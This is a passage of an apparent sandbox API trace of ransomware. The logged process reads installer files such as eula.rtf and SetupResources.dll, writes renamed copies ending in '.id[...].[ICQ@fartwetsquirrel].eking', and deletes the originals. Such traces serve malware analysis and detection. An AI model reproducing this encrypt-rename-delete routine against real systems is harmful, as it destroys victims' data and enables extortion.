lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0079.288] CloseHandle (hObject=0x324) returned 1 [0079.288] CloseHandle (hObject=0x320) returned 1 [0079.297] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 1 [0079.300] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0079.300] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=19288) returned 1 [0079.300] CloseHandle (hObject=0x320) returned 1 [0079.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80 [0079.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80 [0079.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0079.300] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0079.300] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0079.301] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0079.301] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0079.301] ReadFile (in: hFile=0x320, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x4b58, lpOverlapped=0x0) returned 1 [0079.532] WriteFile (in: hFile=0x324, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x4b60, lpOverlapped=0x0) returned 1 [0079.534] WriteFile (in: hFile=0x324, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0079.534] CloseHandle (hObject=0x320) returned 1 [0079.534] CloseHandle (hObject=0x324) returned 1 [0079.539] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 1 [0079.541] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0079.541] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=3702) returned 1 [0079.541] CloseHandle (hObject=0x324) returned 1 [0079.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80 [0079.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80 [0079.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0079.542] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0079.542] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0079.542] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0079.543] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0079.545] ReadFile (in: hFile=0x324, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0xe76, lpOverlapped=0x0) returned 1 [0079.556] WriteFile (in: hFile=0x320, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xe80, lpOverlapped=0x0) returned 1 [0079.559] WriteFile (in: hFile=0x320, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0079.559] CloseHandle (hObject=0x324) returned 1 [0079.559] CloseHandle (hObject=0x320) returned 1 [0079.564] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 1 [0079.565] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0079.566] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=77022) returned 1 [0079.566] CloseHandle (hObject=0x320) returned 1 [0079.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80 [0079.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80 [0079.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0079.566] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0079.566] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0079.566] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0079.566] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0079.566] ReadFile (in: hFile=0x320, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x12cde, lpOverlapped=0x0) returned 1 [0079.936] WriteFile (in: hFile=0x324, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x12ce0, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x12ce0, lpOverlapped=0x0) returned 1 [0079.939] WriteFile (in: hFile=0x324, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0079.939] CloseHandle (hObject=0x320) returned 1 [0079.939] CloseHandle (hObject=0x324) returned 1 [0079.944] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 1 [0079.946] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0079.946] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=4254) returned 1 [0079.946] CloseHandle (hObject=0x324) returned 1 [0079.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80 [0079.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80 [0079.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0079.947] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0079.947] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0079.947] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0079.947] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x31c [0079.952] ReadFile (in: hFile=0x324, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x109e, lpOverlapped=0x0) returned 1 [0080.002] WriteFile (in: hFile=0x31c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x10a0, lpOverlapped=0x0) returned 1 [0080.005] WriteFile (in: hFile=0x31c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0080.005] CloseHandle (hObject=0x324) returned 1 [0080.005] CloseHandle (hObject=0x31c) returned 1 [0080.006] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 1 [0080.008] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0080.011] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=3643) returned 1 [0080.011] CloseHandle (hObject=0x320) returned 1 [0080.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80 [0080.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80 [0080.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0080.012] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0080.012] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0080.012] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0080.012] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0080.063] ReadFile (in: hFile=0x320, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0xe3b, lpOverlapped=0x0) returned 1 [0082.332] WriteFile (in: hFile=0x324, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xe40, lpOverlapped=0x0) returned 1 [0082.333] WriteFile (in: hFile=0x324, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0082.333] CloseHandle (hObject=0x320) returned 1 [0082.333] CloseHandle (hObject=0x324) returned 1 [0082.335] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 1 [0082.350] SetEvent (hEvent=0x2cc) returned 1 [0082.350] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0082.350] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=10125) returned 1 [0082.350] CloseHandle (hObject=0x32c) returned 1 [0082.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80 [0082.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80 [0082.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0082.351] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0082.351] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0082.351] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0082.351] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0082.363] ReadFile (in: hFile=0x32c, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x278d, lpOverlapped=0x0) returned 1 [0082.401] WriteFile (in: hFile=0x310, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x2790, lpOverlapped=0x0) returned 1 [0082.403] WriteFile (in: hFile=0x310, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0082.403] CloseHandle (hObject=0x32c) returned 1 [0082.403] CloseHandle (hObject=0x310) returned 1 [0082.408] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 1 [0082.409] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0082.410] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=15704) returned 1 [0082.410] CloseHandle (hObject=0x310) returned 1 [0082.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80 [0082.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80 [0082.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0082.410] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0082.410] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0082.410] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0082.411] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0082.411] ReadFile (in: hFile=0x310, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x3d58, lpOverlapped=0x0) returned 1 [0082.414] WriteFile (in: hFile=0x32c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x3d60, lpOverlapped=0x0) returned 1 [0082.416] WriteFile (in: hFile=0x32c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0082.416] CloseHandle (hObject=0x310) returned 1 [0082.416] CloseHandle (hObject=0x32c) returned 1 [0082.418] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 1 [0082.419] SetEvent (hEvent=0x2cc) returned 1 [0082.419] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0082.420] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=12687) returned 1 [0082.420] CloseHandle (hObject=0x32c) returned 1 [0082.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80 [0082.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80 [0082.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0082.420] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0082.420] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0082.420] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0082.421] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0082.423] ReadFile (in: hFile=0x32c, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x318f, lpOverlapped=0x0) returned 1 [0082.425] WriteFile (in: hFile=0x310, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x3190, lpOverlapped=0x0) returned 1 [0082.426] WriteFile (in: hFile=0x310, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0082.427] CloseHandle (hObject=0x32c) returned 1 [0082.427] CloseHandle (hObject=0x310) returned 1 [0082.786] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 1 [0082.801] SetEvent (hEvent=0x2cc) returned 1 [0082.801] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: 